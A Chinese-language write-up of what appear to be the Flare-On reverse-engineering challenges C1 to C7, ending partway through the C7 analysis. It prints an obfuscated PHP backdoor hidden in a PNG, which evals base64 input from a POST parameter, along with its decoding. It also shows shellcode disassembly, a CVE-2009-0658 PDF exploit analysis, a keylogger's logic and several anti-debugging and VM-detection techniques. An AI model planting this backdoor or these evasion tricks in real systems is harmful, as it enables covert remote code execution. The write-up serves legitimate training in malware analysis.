Flare-on Challenge分析报告

Flare-on Challenge分析报告

地址:http://flare-on.com

C1

C1是一个.NET程序,界面上只有一个DECODE!按钮,摁下按钮后,图片发生变化。由此我们可以分析解题的关键在这个button上。

 

通过Reflector来反汇编该.NET程序,我么可以看到按钮的事件处理代码如下所示

 

而Resources中的dat_secret就是我们所要就行解码的数据,在Reflector中查看资源文件可以得到数据如下:

 

由此重新编写一个解码程序即可得到flag,注意解码的代码中一共进行了三次解码,而第一次解码后的数据才是我们需要的flag。

这一道题比较基础,考查的主要是.net程序的反汇编。

C2

C2给出的是一个网页和一个图片,通过比较该网页和原网页,我们发现网页被篡改的地方主要有三个地方:

  • Overview里的一段话。

 

  • 一段JS实现的计时器

 

  • 一段php代码

 

我们知道这个图片就是网页的logo,我们将原网页上的logo下下来进行比对,发现这个文件的大小不一样。

 

通过比对这两个文件,我们发现flare-on.png文件的末尾追加了一段php代码

<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);$do_me="";for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]];}eval($do_me); ?>

 

在codepad上提交这段代码,在输出结果中只有Warning,而没有任何数据。

$_=\'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

通过进一步分析,在eval($do_me)这段代码之前,先将$do_me输出,添加echo $do_me,重新提交。结果如下:

eval($do_me)执行的就是这段代码,而报错的地方时这些字符串都使用了\’的格式,我们只需要将\’替换成“即可,重新提交如下代码:

<?php

$_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9";

$__="JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7";

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));

?>

发现依旧没有结果

 

这时进一步分析$___这个变量,我们发现他的ASCII码显示的结果是base64_decode,直接将$___($__)中的$___替换成base64_decode进行解码,得到如下结果:

 

我们进一步对$_解码,得到如下结果:

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

此时直接将上述字符串转成ASCII码显示,得到如下数据

a11DOTthatDOTjava5scrapATflare-onDOTcom

由此可以得到flag

a11.that.java5scrap@flare-on.com

这一题主要考查的是php中的base64编码,也属于基础类的题型。

C3

C3这道题是windows下的self-modify程序,直接运行改程序会出现如下情况:

 

用OD加载进行调试分析,发现程序在main函数中调用0x00401000处的函数,而0x00401000处的大部分都是再进行mov操作,并且都是对栈上的数据进行操作,函数的最后调用call eax,指向栈上的数据进行执行,然后回到main函数中结束程序,如下图所示:

 

由上述分析可知,这个程序是一个self-modify的程序,而call eax后,eip转到栈上进行执行,我们进一步跟进,发现程序又进行了多次自修改,最终来到了如下图所示的地方:

0018FED2    31D2            xor edx,edx

0018FED4    B2 30           mov dl,0x30

0018FED6    64:8B12         mov edx,dword ptr fs:[edx]               ; peb

0018FED9    8B52 0C         mov edx,dword ptr ds:[edx+0xC]

0018FEDC    8B52 1C         mov edx,dword ptr ds:[edx+0x1C]

0018FEDF    8B42 08         mov eax,dword ptr ds:[edx+0x8]

0018FEE2    8B72 20         mov esi,dword ptr ds:[edx+0x20]

0018FEE5    8B12            mov edx,dword ptr ds:[edx]

0018FEE7    807E 0C 33      cmp byte ptr ds:[esi+0xC],0x33           ; 查找kernel32.dll

0018FEEB  ^ 75 F2           jnz short 0018FEDF

0018FEED    89C7            mov edi,eax

0018FEEF    0378 3C         add edi,dword ptr ds:[eax+0x3C]

0018FEF2    8B57 78         mov edx,dword ptr ds:[edi+0x78]

0018FEF5    01C2            add edx,eax

0018FEF7    8B7A 20         mov edi,dword ptr ds:[edx+0x20]

0018FEFA    01C7            add edi,eax

0018FEFC    31ED            xor ebp,ebp

0018FEFE    8B34AF          mov esi,dword ptr ds:[edi+ebp*4]

0018FF01    01C6            add esi,eax

0018FF03    45              inc ebp

0018FF04    813E 46617461   cmp dword ptr ds:[esi],0x61746146

0018FF0A  ^ 75 F2           jnz short 0018FEFE

0018FF0C    817E 08 4578697>cmp dword ptr ds:[esi+0x8],0x74697845

0018FF13  ^ 75 E9           jnz short 0018FEFE                       ; 查找FatalAppExitA函数

0018FF15    8B7A 24         mov edi,dword ptr ds:[edx+0x24]

0018FF18    01C7            add edi,eax

0018FF1A    66:8B2C6F       mov bp,word ptr ds:[edi+ebp*2]

0018FF1E    8B7A 1C         mov edi,dword ptr ds:[edx+0x1C]

0018FF21    01C7            add edi,eax

0018FF23    8B7CAF FC       mov edi,dword ptr ds:[edi+ebp*4-0x4]

0018FF27    01C7            add edi,eax

0018FF29    68 79746501     push 0x1657479

0018FF2E    68 6B656E42     push 0x426E656B

0018FF33    68 2042726F     push 0x6F724220

0018FF38    89E1            mov ecx,esp

0018FF3A    FE49 0B         dec byte ptr ds:[ecx+0xB]

0018FF3D    31C0            xor eax,eax

0018FF3F    51              push ecx

0018FF40    50              push eax

0018FF41    FFD7            call edi                                 ; 调用FatalAppExitA函数,程序退出

 

通过以上分析,我们发现程序的处理逻辑上,并没有其他的跳转地点,一直是线性的往下走的,而在call eax之后,程序一直在栈上就行操作和执行,而在进入该函数到call edi,即调用FatalAppExitA函数,这段代码之间对栈上的数据操作很多,我们进一步分析栈的内存,可以发现如下图所示内容。

 

由此,可以看见,我们所要找的flag就隐藏在其中,哈哈~~~

C4

C4这道题是关于PDF文件分析的,它主要是利用了CVE-2009-0658这个漏洞,关于PDF文件格式可以查看:

  1. http://blog.csdn.net/bobob/article/details/4328426

也可以查看官方的PDF Reference。而关于CVE-2009-0658这个漏洞可以查看:

  1. http://www.secureworks.com/resources/blog/research/research-20947/
  2. http://secunia.com/gfx/pdf/SA33901_BA.pdf/
  3. Metasploit下的adobe_jbig2decode.rb模块

下面对上述两个部分内容进行简要的介绍。

首先是PDF文件格式

接着,我们来简单分析下CVE-2009-0658这个漏洞。该漏洞主要是Adobe Reader在对JBIG2编码进行解码时,碰到不符合规则的数据,解码时会造成Sement number的数组越界访问。

PDF中的JBIG2Decode主要是处理JBIG2编码的stream,而一个JBIG2编码的stream它可以包含任意多个JBIG2 segments,每个segment的结构如下:

Segment number

Segment header flags

(低6位为segment类型)

Segment size

Segment page association

4 bytes

1 byte

Variable size

1 or 4 bytes

其中segment page association用来说明和当前segment相关的JBIG2 page,它默认情况下占一个字节,也可以由segment header flags中的第6位来指定为4字节。具体的漏洞分析可以参考http://secunia.com/gfx/pdf/SA33901_BA.pdf/

我们利用PDF Stream Dumper对PDF中的JBIG2Decode下的stream

 

依次进行FlateDecode解码、ASCIIHexDecode解码,从而获得JIBIG2编码后的数据:

00 20 50 FF 40 00 00 69 00 00 05 69 50 50

 

下面配置好环境,运行C4程序,弹出如下对话框。

 

按下确定之后,产生一个Crash,如下图所示:

 

查看栈回溯,信息如下:

 

而由adobe_jbig2decode.rb中,我们可以知道shellcode的地址为0x05695050。同时,由其他两个分析报告,我们知道处理stream进行JBIG2解码的模块为sub_9AD380,其相对地址为+0x6AD380。由此,我们可知,程序最后是在运行shellcode时,关闭弹出的对话框后,没有走入到正常的轨迹而产生了崩溃。而由前面的题型,我们可以推测flag信息应该和弹出对话框的信息有关。

因此,我们在偏移+0x6AD380处和地址0x05695050处分别下断点,得到如下结果:

 

 

可以发现,我们断在了shellcode之前的nops上,通过搜索内存的方式,我们可以得到shellcode的具体地址是0x056efbf8(改地址不固定,每次都会变化),由此我们可以下断点进一步跟进shellcode,如下所示:

 

前面我们知道,shellcode最后的执行结果是弹出一个对话框,而构造过程一般都要经过以下几个步骤:

  1. 通过GetProcAddress获得LoadLibraryA地址
  2. 通过LoadLibraryA加载user32.dll
  3. 通过GetProcAddress获得MessageBoxA地址
  4. 传入参数,调用MessageBoxA。

而获得flag的关键就在于MessageBoxA参数的处理上,通过分析shellcode,我们发现在第三步和第四步直接多了一个call调用,如下图所示:

 

通过跟踪代码,查看堆栈,终于找到了我们所需要的flag。

 

这一题考查的主要是一些分析的基本能力。

C5

C5这一道题很是新颖,非常非常有意思,它给出的是一个dll文件,我们用OD加载这个dll然后运行,发现什么反应。但在相应的目录下生成了一个svchost.log文件,如下图所示。

 

打开这个文件,我们发现里面还有些内容,并且记录的是我们之前随意摁下的键,如下图所示。

 

由此,我们可以推出这个dll是一个键盘记录工具,那这个和我们所要找的flag有什么关联呢?我们通过IDA来进一步分析这个dll。

首先,我们分析DllMain函数,发现其中的sub_1000A4C0函数中有一个无限循环,可以推测这个函数和键盘记录器有很大的联系,因为键盘记录器也要无限等待键盘的响应来记录下相应的按键。

 

我们进一步分析sub_10009EB0和sub_10001000这两个函数,发现sub_10001000这个函数只是将记录下的按键输入到“scvhost.log”文件中,关系并不大。


我们进一步分析sub_10009EB0这个函数,发现这是将按键转换成ASCII码的过程,从而进一步传到sub_10001000函数,记录到文件中。

通过进一步观察,我们发现,对于每个按键,该函数中都会有相应的函数进行相应的处理,如下图所示。

 

这和传统的键盘记录器有点不太一样,一般的键盘记录器,会直接转换成可示的ASCII码记录到文件中,只有对一些特殊的按键才会进行转化。而在这些处理函数中,大部分的处理过程都如下图所示。

 

而其中有些处理过程较为复杂,如下图所示。

 

其中一个在对字符‘M’进行处理的函数与其他所有的都不相同,如下图所示

 

 

我们发现其中调用了DialogBoxIndirectParamW函数来弹出一个对话框,此时,再次用OD加载该dll,在处理’M’字符处的函数中下断,如下图所示。

 

此时按下m键,修改zf使其跳转到接下来的地址,可以看到其弹出了一个如下对话框。

 

那么,我们进一步思考,这个跳转的判断条件是dword_100194FC的值大于0,那么该处的值又是由谁来修改的呢?我们继续回到IDA中,查看此处的交叉引用,如下图所示。

 

我们发现一共有三处将调用的该值,其中在__cfltcvt_init函数和sub_10009B60函数中分别将值改为了0和1,而‘M’判断处只是读取了该值,我们进一步分析这两个函数。可以发现__cfltcvt_init函数的处理是一个初始化的过程,它将除了dword_10017000地址处的值置为1外,其余相关地址都置为0,如下图所示。

 

而sub_10009B60函数中,又进一步判断其他地址,来决定是否将dword_100194FC处的值置为1,如下图所示。

 

由此,我们可以推测,当按下一定的按键组合时,会弹出对话框,而这按键组合就是我们所需要的flag信息。

下面是最后的结果图

 

这一题确实非常的有意思,形式很新颖,考查的方式也很独特,让人眼前一亮,FireEye的大牛思维方式确实很诡异。。。

C6

这道题让我颇费周折,它是Linux x64下的题,而且文件有点大,使用的静态编译,干扰信息很多,之前没有做过相关方面的东西,基本上是从头开始学,花费了一段时间……

在分析这道题之前,我们先了解一下Linux x64方面的基本知识,具体一点来说是main函数启动过程和x64下的函数调用规则方面的内容。也可以参考一下资料:

  1. Main函数启动过程

http://www.360doc.com/content/14/0211/16/15515903_351654286.shtml

  1. Linux X64下函数调用规则

http://blog.sina.com.cn/s/blog_6f6769b50100uhzz.html

首先,我们来了解一下Linux x64下的调用规则。

一般情况下,在函数参数少于7时,参数从左到右分别放入寄存器,rdi,rsi,rdx,rcx,r8,r9。而当参数多于或等于7时,前6个参数的传入方式和前面一样,但后面的依次从右向左放入栈中。例如:

l  参数个数少于7个:

F (a, b, c, d, e, f);

a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9

 

l  参数个数多于或等于7个:

F (a, b, c, d, e, f, g);

a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9, g->(%rsp)

 

接着,我们来了解一下main函数的启动过程,elf文件的入口地址,一般都是指向_start函数,在_start函数里调用__libc_start_main,其函数定义如下图所示,其中argc和ubp_av为传递给main函数的参数argc和argv。

STATIC int LIBC_START_MAIN(int (*main)(int, char **, char ** MAIN_AUXVEC_DECL),

int argc,

char *__unbounded *__unbounded ubp_av,

#ifdef LIBC_STAT_MAIN_AUXVEC_ARG

EIfW(auxv_t) *__unbounded auxvec,

#endif

__typedof(main) init,

void (*fini) (void),

void (*rtld_fini)(void),

void *__unbounded stack_end)

__attribute__((noreturn));

知道了这些基本信息,我们可以来进一步分析这个程序了。

首先,我们先定位main函数的位置,在start处的信息如下图所示。

 

由上面的介绍可以知道,main函数的位置在0x45DCE1处,argc保存在rsi,argv保存在rdx中。我们跳转到main函数,进一步分析,如下图所示。

 

在main函数里,又进一步调用了sub_452079函数,传递的参数依旧是argc和argv,分别保存在rsi和rdx中。进入该函数,发现这个函数巨大……发现从这个函数开始分析起,难度太大,我们不得不换个思路来去掉无用信息。

接着,我们运行该程序,并且给定不同的参数,输出结果如下。由此,我们可以断定程序是需要参数的,并且不同的参数会有不同的输出结果,而且我们知道argc=1时输出‘no’,argc=2时输出‘na’,argc=3时输出‘bad’,argc>3时输出‘stahp’。有了这些结果就好进一步处理,我们可以跟着输出信息来进一步分析。

用IDA加载程序,试着找找这几个字符串的踪迹,在以下位置找到了这几个字符串,如下图所示。

 

 

 

在上图中,字符串’no‘和字符串’na’都被sub_452079这个超大的函数所调用,而字符串’stahp’在sub_41C77D函数中被调用,而sub_41C77D函数又被sub_452079这个超大函数调用,如下图所示。

 

而字符串’bad’被sub_435E20函数调用,但sub_435E20同样被sub_452079这个超大函数调用,如下图所示。

 

我们先来分析no字符串,如下图所示。

 

这里将[rbp+var_A84]处的值与1进行比较,如果相等则输出’no‘,然后退出程序,如果不等的话则会跳转到loc_4535CA。由此我们可以推测rbp+var_A84处保存的是argc,我们进一步跟踪rbp+var_A84,发现在该函数的开始出,将edi保存到了rbp+var_A84处,将rsi保存到了rbp+var_A90处,这样我们可以知道,其实rbp+var_A84处保存的是argc,rbp+var_A90处保存的是argv,如下图所示。

 

由此我们可以确认该程序肯定是需要输入参数的,并且我们可以确定sub_45EBE0是用来输出的,在这之后会调用sub_45E790这个函数来退出程序。我们来查看下sub_45EBE0的交叉引用,来看看还有什么函数在什么位置调用了这个输出函数,如下图所示。

 

我们知道之前一共只输入了4个字符串,其中‘bad’字符串在两个地方被引用了,那么也即调用了5次,那么最后一个输出又是输出什么的呢?而且最后一个输出同字符串’stahp’一样都是位于sub_41C77D中。先来看看它具体输出的是什么内容,如下图所示。

 

该字符串是’ Program received signal SIGSEGV, Segmentation fault’,这个Segmentation fault错误在Linux下比较常见,有可能只是程序发生异常时显示的错误信息,也可能是我们的方向错了。我们还是来进一步来分析’na’,如下图所示。

 

这里同上面一样,也是比较参数的个数,如果argc=2的话,则输出‘na’,否则跳转到loc_456CE2中,由此我们可以确定输入一个参数也是不对的。

我们继续分析字符串’stahp’,在调用sub_41C77D时,传入的还是argc和argv两个参数,如下图所示。

 

在sub_41C77D函数的开始,会将这两个参数保存到rbp+var_360和rbp+var_354中,如下图所示。

 

然后将argc与3进行比较,判断参数个数是否大于3个,如果大于3个则输出‘stahp’,否则跳转到loc_41E25C中进行相应处理,如下图所示。由此,我们可以猜测所需输入的参数为2个,当然这还需要我们进一步进行分析才能证实我们的猜测。

 

最后,我们看看程序是如何处理’bad’字符串的,程序中一个有两个地方输出‘bad’字符串,都在sub_435E20中,我们分别来看看这两处是怎么处理的。调用sub_435E20时,传入的参数仍然是argc和argv,如下图所示。

 

在函数里,将argc和argv分别保存在rbp+var_3B4和rbp+var_3C0中,如下图所示。

 

我们先来看看在sub_435E20+12EC处的’bad’字符串是如何处理的,如下图所示。

 

处理的流程和前面没什么区别,但这判断的条件和前面很不一样,多了很多的其余操作,这里它先去argv[1],然后利用repne scasb来计算argv[1]字符串的长度,如果这个长度等于0xA时,则会跳转到loc_437120位置,否则输出‘bad’字符串,由此我们可以确认第一个参数的长度为10。我们再来看看在sub_435E20+0x13BE处的‘bad’字符串是如何处理的,如下图所示。

 

这里处理也和前面不太一样,不过这里有一个字符串‘bngcg`debd’,然后紧接着调用其他的函数进行相关处理,而且传入的参数分别是两个字符串的自己和字符串的长度0xA,我们来进一步看看rbp+var_230中存的到底是什么内容,在该函数中,找到对rbp+var_230内存进行处理的位置,如下图所示。

 

在这里,它首先将rbp+var_3C0的内容(即argv的地址)保存到rax中,然后取出其第一个参数argv[1]的地址,并将其赋值给rdi,然后调用sub_468BB0函数对argv[1]的内容进行处理,并将字符串处理后的地址保存在rbp+var_230中。因此,rbp+var_230中保存的是对argv[1]处理后的字符串地址。在这里,我们可以猜测是第二处‘bad’字符串的处理流程,是将argv[1]的数据进行编码,然后同‘bngcg`debd‘进行比较,如果两个字符串相等,则跳转到loc_4371F2进行下一步处理,否则的话输出’bad‘,结束程序。由此,可以看出,我们要输入两个参数,并且第一个参数的长度是10。

分析到这儿,我们来运行下程序看看是否符合我们的思路。

我们首先在call sub_400370和jz short loc_4371处下断点,然后运行程序,但并没有得到我们想要的结果,不过程序输出了’ Program received signal SIGSEGV, Segmentation fault’,如下图所示。这一点对于我们来说,很有用,因为我们知道这段话是在哪儿进行处理的。

 

我们重新回到’ Program received signal SIGSEGV, Segmentation fault’输出处理过程,进行进一步分析,如下图所示。

 

在输出’ Program received signal SIGSEGV, Segmentation fault’之前,程序会调用sub_4742B0函数进行相关处理,然后判断返回结果的最高位是否为1,如果不为1则跳转到loc_41F232进行处理,否则输出’ Program received signal SIGSEGV, Segmentation fault’。我们进一步分析sub_4742B0,发现在该函数中会调用系统调用号为0x65的函数,如下图所示。

 

而在unistd_64.h文件中,0x65对应的系统调用时ptrace,如下图所示。

 

由此,我们可以知道该程序使用了ptrace来进行反调试,这样我们修改ZF=1,使其跳转到loc_41F232中,进一步运行。此时程序正常运行,停在了call sub_400370处,如下图所示。

 

这时,我们查看下rdi所指向的字符串是什么,如下图所示。

 

这时的字符串已经经过处理,重新回到sub_468BB0函数,在这个函数的下一条指令下断点,即0x437136处,看看这个函数的处理结果是什么,重新运行程序。查看rax指向地址中的数据,如下图所示。

 

我们发现这时数据并没有变化,sub_468BB0函数的作用主要是申请一段内存空间,并将argv[1]中的数据拷贝过去,方便进一步处理。因此,我们把注意力放到sub_468BB0到字符串‘bngcg`debd’处理这一块上,主要代码如下图所示。

 

通过分析,我们发现,该算法主要是将argv[1]字符串中的每一位与0x56进行异或运算,最后跳转到如下图所示地方,将新的字符串与‘bngcg`debd’进行比较,判断两个字符串是否相等。

 

由此,我们可以得出argv[1]的值为’4815162342‘,重新运行程序后,发现程序处理睡眠状态一直没有响应……如下图所示。

 

进一步进行分析,在调用完sub_435E20后,程序又进一步调用sub_442A8F,在下一条指令处下断点,如下图所示。运行程序后,我们发现程序依旧处于睡眠状态,由此我们可以推测问题出在sub_442A8F中。

 

通过反复调试,我们发现问题出现在函数sub_442A8F中的0x4436FB处,它进一步调用了sub_473B70函数,如下图所示。

 

而在sub_473B70中,它又进一步调用了sub_473D40函数,如下图所示。

 

而在这个函数中,它又进一步调用了系统调用号为0x23的函数,而0x23为nanosleep函数,可以看见,问题就出在这里,那么怎么解决了?

 

我们在sub_473B70函数中的0x473BDE中下断点,直接跳过nanosleep的系统调用。

 

继续运行程序,程序停在0x45AB56处。我们发现,到目前为止,程序只用到了argv[1],而对argv[2]并没有使用,此时我们队argv[2]下硬件断点,运行程序。此时触发硬件断点,RIP停留在栈空间上,如下图所示。

 

哈哈,终于找到了shellcode~~~,此时我们只要照着shellcode解码即可得到所要找的flag。

C7

跌跌碰碰到了最后一题……这最后一题不得不吐槽下……太坑了啊!!!里面用到一些反调试的技术大部分都和操作系统版本有关系……不同版本它返回结果不一样啊!!!害我纠结了半天。。。

关于反调试相关的可以参考:

http://www.cnblogs.com/huhu0013/archive/2011/07/05/2098358.html

直接运行程序,出现以下错误。

 

用IDA加载程序,再运行,出现以下错误。错误中显示,程序在0x1301B90位置处的代码处访问了地址为0x00000000内存,而这段内存默认情况下是不可访问的。


我们进一步分析0x1301B90处的代码,发现此处通过调用byte ptr [ecx],来访问数据,而ecx的值来自[esi+4],我们进一步跟踪,发现esi是来自[ebp+0ch],如下图所示。自此我们可以发现esi指向的是argv参数,而通过上图我们发现,其需要两个参数,并且这两个参数只用到了前两个字节。

 

知道了这些后,我们命令行下打开该程序,输入参数,重新运行程序,发现出现如下图所示的结果。

 

我们发现该程序中运行了一个名叫gratz.exe的程序,并且该gratz.exe文件在用户目录下创建,而这一道题也是最后一道题,由此,我们可以猜测,最后的flag可能会在这个gratz.exe文件中,可能最后会弹出一个对话框来显示一些祝贺信息。另一方面,gratz也是congratulations的简写,因此这个gratz.exe很有可能隐藏了所要的秘密。解题的关键也是在于生成一个可执行的gratz.exe文件上。

通过IDA分析该程序,发现程序开始的时候,使用了很多的反调试技术,如下图所示。

 

第一个是通过调用Windows API IsDebuggerPresent来判断程序当前是否处于调试状态,如下图所示

 

第二个主要通过PEB中的BeingDebugged标志位来判断是否处于调试状态,在用户态下,fs寄存器指向TEB的结构,而在TEB结构的0x30偏移处是PEB结构,PEB结构的0x2偏移处是,如下图所示

 

第三个是用来检测虚拟机的,它的原理是检测IDT的值,如果这个值超过了某个数值,就可以认为应用程序处于虚拟环境中。但这种方法在多核情况下,结果并不可靠。而这该程序中,它判断最高位是否为0xFF,用来检测是否处于vmware虚拟机状态下,如下图所示。

 

第四个也是针对VMWare虚拟机的反调试。在VMWare中,它提供了一种主机和客户机之间的通信方法,这可以被用来做一种VMWare的反调试。VMWare将会处理IN(端口为0x5658/’VX’)指令,它将返回一个magic数值为“VMXh到”EBX中。而当程序在保护模式操作系统的3环下运行时,IN指令的执行将会产生一个异常,而在VMWare下运行则不会产生任何异常,同时EBX寄存器将会保护‘VMXh’,ECX寄存器也会被修改为VMWare的产品ID。程序中具体处理过程如下图所示。

 

 

第五个是通过OutputDebugString来实现反调试的,在有调试器的状态下,调用OutputDebugString后,会影响GetLastError接收到的Error值,但这种反调试的机制也有一定的限制,它在xp下可以有效的运行,而在win7、win8下并不能够实现反调试。在程序中,它首先设置LastError的值,然后调用OutputDebugString改变LastError的值,最后再进行比对,具体处理流程如下图所示。

 

第六个是通过CC校验(即int 3断点),来实现反调试的功能。它主要计算部分代码区域中的CC的个数,与之前记录的个数进行比较,如果一样,可以继续执行,而如果在这段代码区域中下了int3断点,则会导致计算结果的不一致,从而产生反调试。处理流程如下图所示。值得注意的是,实际上该段代码区域中int3的个数是0x65,而程序中是与0x57比较,这里到底要不要修改呢?我们接下来再进一步分析。

 

第七个反调试是通过NtGlobalFlags来实现的,这个NtGlobalFlags也位于PEB中,它在PEB偏移0x68的位置,默认情况下该值为0,而在调试状态下,它会被设置为一个特定的值。这个标志由下面几个标志组成:

l  _HEAP_ENABLE_TAIL_CHECK (0x10)

l  _HEAP_ENABLE_FREE_CHECK (0x20)

l  _HEAP_VALIDATE_PARAMETERS (0x40)

但在程序中,它的处理方式有些问题(也有可能是跟操作系统版本有关),如下图所示。程序中,它直接取了该处的DWORD值与0x70比较来判断是否处于调试状态。我们知道处于调试状态下,它改变的是NtGlobalFlags的最低位一个字节,而其它位调试状态下也是有可能有其他属性标志的,因此,这里最好先and 0x70,然后再进行判断,这样会更准确一点。

 

程序中用到的反调试技术主要就是这些,下面我们来分析下gratz.exe文件是如何生成和运行的。

首先,它会以”wb”的方式fopen一个名为gratz.exe文件,如下图所示。[ebp-10h]处指向的就是gratz.exe字符串。

 

接着,它会像该文件中写入文件,并且关闭,如下图所示。

 

由此,我们可以知道,数据在这个gratz_data处,大小为dword_132FFF8即(0x1CE00)。

接着调用sub_1301D46函数来运行该文件,如下图所示。

 

知道了这些,我们来进一步分析这个gratz_data是如何生成的。

首先,在第一个反调试点,它判断后,会走不同的分支,对原始数据进行异或处理,如下图所示。

 

